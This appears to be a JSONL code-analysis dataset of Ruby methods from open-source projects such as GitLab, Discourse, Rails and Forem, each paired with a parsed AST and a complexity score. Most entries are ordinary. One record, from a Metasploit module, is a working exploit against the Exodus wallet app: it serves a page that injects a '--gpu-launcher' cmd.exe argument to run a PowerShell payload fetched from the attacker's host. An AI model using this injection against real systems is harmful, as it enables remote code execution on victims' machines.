{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/api_controller.rb","start_line":33,"raw_source":"def api_key\n    params[:api_key] || request.headers['Authorization']&.split(' ')&.last\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"api_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]},\"last\"]}]}]}","id":"4791f637-e576-4e3c-9d7e-85147aa3e393"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250515094580_add_fk_indexes_to_zentao_tracker_data.rb","start_line":19,"raw_source":"def down\n    remove_concurrent_index_by_name TABLE_NAME, name: PROJECT_ID_INDEX_NAME\n    remove_concurrent_index_by_name TABLE_NAME, name: GROUP_ID_INDEX_NAME\n    remove_concurrent_index_by_name TABLE_NAME, name: ORGANIZATION_ID_INDEX_NAME\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"PROJECT_ID_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"GROUP_ID_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"ORGANIZATION_ID_INDEX_NAME\"]}]}]}]}]}]}","id":"2dc77ef7-0f22-462d-bd30-8e30de9f80b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/silent_mode.rb","start_line":21,"raw_source":"def self.add_silent_mode_log_data(data)\n      data.merge!({ silent_mode_enabled: enabled? })\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_silent_mode_log_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silent_mode_enabled\"]},{\"type\":\"send\",\"children\":[null,\"enabled?\"]}]}]}]}]}","id":"199c21e8-269f-4159-8ef3-eb2e9b1b6faa"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/group_spec.rb","start_line":924,"raw_source":"def can_view?(user, group)\n      Group.members_visible_groups(user).exists?(id: group.id)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_view?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"members_visible_groups\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}]}]}","id":"7cebda40-1df4-4944-8676-8e5fadeda322"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/exodus.rb","start_line":83,"raw_source":"def serve_page(cli)\n    psh = gen_psh(\"#{get_uri}payload\")\n    psh_escaped = psh.gsub(\"\\\\\", \"\\\\\\\\\\\\\\\\\").gsub(\"'\", \"\\\\\\\\'\")\n    val = rand_text_alpha(5)\n\n    html = %Q|<html>\n<!doctype html>\n<script>\n  window.location = 'exodus://#{val}\" --gpu-launcher=\"cmd.exe /k #{psh_escaped}\" --#{val}='\n</script>\n</html>\n|\n    send_response_html(cli, html)\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"serve_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"psh\",{\"type\":\"send\",\"children\":[null,\"gen_psh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uri\"]}]},{\"type\":\"str\",\"children\":[\"payload\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"psh_escaped\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psh\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\\\\\\\\\\\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\\'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"<!doctype html>\\n\"]},{\"type\":\"str\",\"children\":[\"<script>\\n\"]},{\"type\":\"str\",\"children\":[\"  window.location = 'exodus://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"\\\" --gpu-launcher=\\\"cmd.exe /k \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psh_escaped\"]}]},{\"type\":\"str\",\"children\":[\"\\\" --\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"='\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]}","id":"77eb81f2-acf0-4be1-8106-912910a5a012"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/personal_access_tokens.rb","start_line":68,"raw_source":"def revoke_batch(access_tokens, dry_run)\n        # Capture a simplified set of attributes for logging and for\n        # determining when an error has led some records to not be\n        # updated\n        attrs = access_tokens.as_json(only: [:id, :user_id])\n\n        cross_joins_issue = \"https://gitlab.com/gitlab-org/gitlab/-/issues/436661\"\n        affected_row_count = ::Gitlab::Database.allow_cross_joins_across_databases(url: cross_joins_issue) do\n          # Use `update_all` to bypass any validations which might\n          # prevent revocation. Manually specify updated_at.\n          dry_run ? 0 : access_tokens.update_all(revoked: true, updated_at: @revocation_time)\n        end\n\n        message = {\n          dry_run: dry_run,\n          message: \"Revoke token batch\",\n          token_count: attrs.size,\n          updated_count: affected_row_count,\n          tokens: attrs,\n          group_full_path: group.full_path\n        }\n\n        # rubocop:disable Rails/Output\n        if dry_run\n          puts \"Dry run complete. #{attrs.size} rows would be affected\"\n          logger.info(message)\n        elsif affected_row_count.eql?(attrs.size)\n          puts \"Finished. #{attrs.size} rows affected\"\n          logger.info(message)\n        else\n          # :nocov:\n          puts \"ERROR. #{affected_row_count} tokens deleted, #{attrs.size} tokens should have been deleted\"\n          logger.warn(message)\n          # :nocov:\n        end\n        # rubocop:enable Rails/Output\n      end","complexity_score":33.4,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke_batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_tokens\"]},{\"type\":\"arg\",\"children\":[\"dry_run\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_tokens\"]},\"as_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cross_joins_issue\",{\"type\":\"str\",\"children\":[\"https://gitlab.com/gitlab-org/gitlab/-/issues/436661\"]}]},{\"type\":\"lvasgn\",\"children\":[\"affected_row_count\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"allow_cross_joins_across_databases\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"cross_joins_issue\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_tokens\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revoked\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"ivar\",\"children\":[\"@revocation_time\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dry_run\"]},{\"type\":\"lvar\",\"children\":[\"dry_run\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Revoke token batch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_count\"]},{\"type\":\"lvar\",\"children\":[\"affected_row_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tokens\"]},{\"type\":\"lvar\",\"children\":[\"attrs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_full_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"full_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Dry run complete. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" rows would be affected\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"affected_row_count\"]},\"eql?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" rows affected\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"affected_row_count\"]}]},{\"type\":\"str\",\"children\":[\" tokens deleted, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" tokens should have been deleted\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"warn\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}","id":"d669e205-1a10-4eb8-9a7c-e1f24864cf35"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":154,"raw_source":"def raise_for_multi_db(environment = env, command:) # :nodoc:\n        db_configs = configs_for(env_name: environment)\n\n        if db_configs.count > 1\n          dbs_list = []\n\n          db_configs.each do |db|\n            dbs_list << \"#{command}:#{db.name}\"\n          end\n\n          raise \"You're using a multiple database application. To use `#{command}` you must run the namespaced task with a VERSION. Available tasks are #{dbs_list.to_sentence}.\"\n        end\n      end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_for_multi_db\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"environment\",{\"type\":\"send\",\"children\":[null,\"env\"]}]},{\"type\":\"kwarg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_configs\",{\"type\":\"send\",\"children\":[null,\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"lvar\",\"children\":[\"environment\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_configs\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dbs_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_configs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dbs_list\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You're using a multiple database application. To use `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\"` you must run the namespaced task with a VERSION. Available tasks are \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dbs_list\"]},\"to_sentence\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},null]}]}]}","id":"c60ad541-5ab3-482c-b369-87ce685470d7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-openid-connect/lib/omniauth_open_id_connect.rb","start_line":116,"raw_source":"def callback_phase\n        if request.params[\"error\"] && request.params[\"error_description\"] &&\n             response =\n               options.error_handler.call(\n                 request.params[\"error\"],\n                 request.params[\"error_description\"],\n               )\n          verbose_log(\"Error handled, redirecting\\n\\n#{response.to_yaml}\")\n          return redirect(response)\n        end\n\n        begin\n          discover! if options[:discovery]\n\n          oauth2_callback_phase = super\n          return oauth2_callback_phase if env[\"omniauth.error\"]\n\n          oauth2_callback_phase\n        rescue OmniAuth::OpenIDConnect::DiscoveryError => e\n          fail!(:openid_connect_discovery_error, e)\n        rescue ::JWT::DecodeError => e\n          fail!(:jwt_decode_failed, e)\n        rescue NonceVerifyError => e\n          fail!(:jwt_nonce_verify_failed, e)\n        rescue SubVerifyError => e\n          fail!(:openid_connect_sub_mismatch, e)\n        end\n      end","complexity_score":49.9,"ast_json":"{\"type\":\"def\",\"children\":[\"callback_phase\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error_description\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"error_handler\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error_description\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verbose_log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error handled, redirecting\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"to_yaml\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"discovery\"]}]},{\"type\":\"send\",\"children\":[null,\"discover!\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"oauth2_callback_phase\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"omniauth.error\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth2_callback_phase\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"oauth2_callback_phase\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"OpenIDConnect\"]},\"DiscoveryError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"sym\",\"children\":[\"openid_connect_discovery_error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JWT\"]},\"DecodeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"sym\",\"children\":[\"jwt_decode_failed\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NonceVerifyError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"sym\",\"children\":[\"jwt_nonce_verify_failed\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubVerifyError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail!\",{\"type\":\"sym\",\"children\":[\"openid_connect_sub_mismatch\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}]}","id":"9efbf698-499e-4cbb-8622-1778c9d21202"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241202151534_add_issuable_resource_links_namespace_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :issuable_resource_links, column: :namespace_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"issuable_resource_links\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]}]}]}","id":"4e9a38ae-0e97-4695-b3ae-c6668c23a69e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/observability/o11y_token.rb","start_line":24,"raw_source":"def initialize(user_id:, access_jwt:, refresh_jwt:)\n        @user_id = user_id\n        @access_jwt = access_jwt\n        @refresh_jwt = refresh_jwt\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user_id\"]},{\"type\":\"kwarg\",\"children\":[\"access_jwt\"]},{\"type\":\"kwarg\",\"children\":[\"refresh_jwt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_id\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@access_jwt\",{\"type\":\"lvar\",\"children\":[\"access_jwt\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@refresh_jwt\",{\"type\":\"lvar\",\"children\":[\"refresh_jwt\"]}]}]}]}","id":"67b0baa0-8af2-4ee3-a1a0-766690f3835c"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20190525233918_create_poll_options.rb","start_line":2,"raw_source":"def change\n    create_table :poll_options do |t|\n      t.bigint  :poll_id\n      t.string  :markdown\n      t.string  :processed_html\n      t.boolean :counts_in_tabulation\n      t.integer :poll_votes_count, null: false, default: 0\n      t.timestamps\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"poll_options\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"poll_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"markdown\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"processed_html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"counts_in_tabulation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"poll_votes_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"8a529390-98fe-476d-8587-11189dbc4406"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/cache_markdown_field.rb","start_line":181,"raw_source":"def mentionable_attributes_changed?(changes = saved_changes)\n    return false unless is_a?(Mentionable)\n\n    self.class.mentionable_attrs.any? do |attr|\n      changes.key?(cached_markdown_fields.html_field(attr.first)) &&\n        changes.fetch(cached_markdown_fields.html_field(attr.first)).last.present?\n    end\n  end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"mentionable_attributes_changed?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"changes\",{\"type\":\"send\",\"children\":[null,\"saved_changes\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Mentionable\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"mentionable_attrs\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_markdown_fields\"]},\"html_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_markdown_fields\"]},\"html_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"first\"]}]}]},\"last\"]},\"present?\"]}]}]}]}]}","id":"6d7c308d-648f-4323-8ed6-0a5aaf2f2b1b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/username_checker_service.rb","start_line":8,"raw_source":"def check_username(username, email)\n    if username && username.length > 0\n      validator = UsernameValidator.new(username)\n      if !validator.valid_format?\n        { errors: validator.errors }\n      else\n        check_username_availability(username, email)\n      end\n    end\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"validator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UsernameValidator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validator\"]},\"valid_format?\"]},\"!\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validator\"]},\"errors\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_username_availability\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\